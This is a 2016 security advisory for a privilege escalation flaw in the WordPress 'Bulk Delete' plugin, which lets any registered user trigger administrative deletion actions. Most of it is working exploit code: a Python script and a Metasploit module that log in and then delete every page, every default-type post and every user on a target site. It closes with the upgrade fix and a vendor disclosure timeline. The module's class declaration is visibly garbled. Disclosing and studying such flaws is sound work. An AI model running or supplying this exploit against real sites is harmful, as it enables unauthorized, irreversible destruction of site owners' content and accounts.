Bulk Delete [Privilege Escalation]

“Bulk Delete” plugin for WordPress suffers from a privilege escalation vulnerability

Description

Bulk Delete plugin for WordPress suffers from a privilege escalation vulnerability. Any registered user can exploit the lack of capabilities checks to perform all administrative tasks provided by the Bulk Delete plugin. Some of these actions, but not all, are:

  • bd_delete_pages_by_status: deletes all pages by status
  • bd_delete_posts_by_post_type: deletes all posts by type
  • bd_delete_users_by_meta: delete all users with a specific pair of meta name, meta value

Nearly all actions registered by this plugin can be performed from any user, as long as they passed to a query var named bd_action and the user has a valid account. These actions would normally require administrative wrights, so we can consider this as a privilege escalation vulnerability.

PoC

The following script will delete all pages, posts and users from the infected website.

#!/usr/bin/python3

################################################################################
# Bulk Delete Privilege Escalation Exploit
#
# **IMPORTANT** Don't use this in a production site, if vulnerable it will
# delete nearly all your sites content
#
# Author: Pan Vag <[email protected]>
################################################################################

import requests

loginUrl = 'http://example.com/wp-login.php'
adminUrl = 'http://example.com/wp-admin/index.php'

loginPostData = {
    'log': 'username',
    'pwd': 'password',
    'rememberme': 'forever',
    'wp-submit': 'Log+In'
}

l = requests.post(loginUrl, data=loginPostData)

if l.status_code != 200 or len(l.history) == 0 or len(l.history[0].cookies) == 0:
    print("Couldn't acquire a valid session")
    exit(1)

loggedInCookies = l.history[0].cookies

def do_action(action, data):
    try:
        requests.post(
            adminUrl + '?bd_action=' + action,
            data=data,
            cookies=loggedInCookies,
            timeout=30
        )
    except TimeoutError:
        print('Action ' + action + ' timed out')
    else:
        print('Action ' + action + ' performed')

print('Deleting all pages')
do_action(
    'delete_pages_by_status',
    {
        'smbd_pages_force_delete': 'true',
        'smbd_published_pages': 'published_pages',
        'smbd_draft_pages': 'draft_pages',
        'smbd_pending_pages': 'pending_pages',
        'smbd_future_pages': 'future_pages',
        'smbd_private_pages': 'private_pages',
    }
)

print('Deleting all posts from all default post types')
do_action('delete_posts_by_post_type', {'smbd_types[]': [
    'post',
    'page',
    'attachment',
    'revision',
    'nav_menu_item'
]})

print('Deleting all users')
do_action(
    'delete_users_by_meta',
    {
        'smbd_u_meta_key': 'nickname',
        'smbd_u_meta_compare': 'LIKE',
        'smbd_u_meta_value': '',
    }
)

exit(0)

And a Metasploit module that exploits this vulnerability

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3  'Bulk Delete [Privilege Escalation]',
                      'Description' => %q{
                        Will delete most of the website content if vulnerable, including posts, pages and users
                      },
                      'Author' => ['Pan Vag <[email protected]>'],
                      'License' => MSF_LICENSE,
                      'References' => [
                          'URL' => 'https://local-cluster.com/vulnerabilities/bulk-delete-privilege-escalation/'
                      ],
                      'DisclosureDate' => 'Mar 02 2016'
          ))

    register_options(
        [
            OptString.new('USERNAME', [true, 'The username to authenticate with']),
            OptString.new('PASSWORD', [true, 'The password to authenticate with'])
        ], self.class)
  end

  def check
    check_plugin_version_from_readme('bulk-delete', '5.5.4')
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def do_action(action, data)
    res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(wordpress_url_backend, 'index.php'),
        'vars_get' => {bd_action: action},
        'vars_post' => data,
        'cookie' => @cookie
    )

    if res.nil?
      vprint_error('No response from the target.')
    elsif res.code != 200
      vprint_warning("Server responded with status code #{res.code}")
    end

    res
  end

  def run
    print_status("Authenticating with WordPress using #{username}:#{password}...")

    @cookie = wordpress_login(username, password)
    if @cookie.nil?
      print_error('Failed to authenticate with WordPress')
      return false
    end

    print_good('Authenticated with WordPress')

    print_status('Deleting all pages')
    r = do_action('delete_pages_by_status', {
        smbd_pages_force_delete: 'true',
        smbd_published_pages: 'published_pages',
        smbd_draft_pages: 'draft_pages',
        smbd_pending_pages: 'pending_pages',
        smbd_future_pages: 'future_pages',
        smbd_private_pages: 'private_pages'
    })

    if r.nil? or r.code != 200
      print_error('Failed to delete all pages, maybe target is not vulnerable')
    else
      vprint_good("Deleting all pages returned status code #{r.code}")
    end

    print_status('Deleting all posts from all default post types')

    %w(post page attachment revision nav_menu_item).each { |a|
      vprint_status("Deleting all posts from post type #{a}")

      r = do_action('delete_posts_by_post_type', {'smbd_types[0]' => "#{a}"})

      if r.nil? or r.code != 200
        vprint_error("Failed to delete all posts from post type #{a}")
      else
        vprint_good("Deleting all posts returned status code #{r.code}")
      end
    }

    print_status('Deleting all users')

    r = do_action('delete_users_by_meta', {
        smbd_u_meta_key: 'nickname',
        smbd_u_meta_compare: 'LIKE',
        smbd_u_meta_value: ''
    })

    if r.nil? or r.code != 200
      print_error('Failed to delete all posts, maybe target is not vulnerable')
    else
      vprint_good("Deleting all users returned status code #{r.code}")
    end

    print_status('Exploitation complete, please check output for details')

  end

end

Solution

Upgrade to v5.5.4


INFO
TIMELINE
  • 2016-02-10:
    Requested CVE ID
  • 2016-02-10:
    Vendor notified through wordpress.org support forums
  • 2016-02-10:
    Vendor notified through the contact form at bulkwp.com
  • 2016-02-10:
    Vendor responded and received details about the issue
  • 2016-02-10:
    Vendor verified vulnerability
  • 2016-02-13:
    Vendor released v5.5.4 which resolves this issue
GKxtL3WcoJHtnKZtqTuuqPOiMvOwqKWco3AcqUxX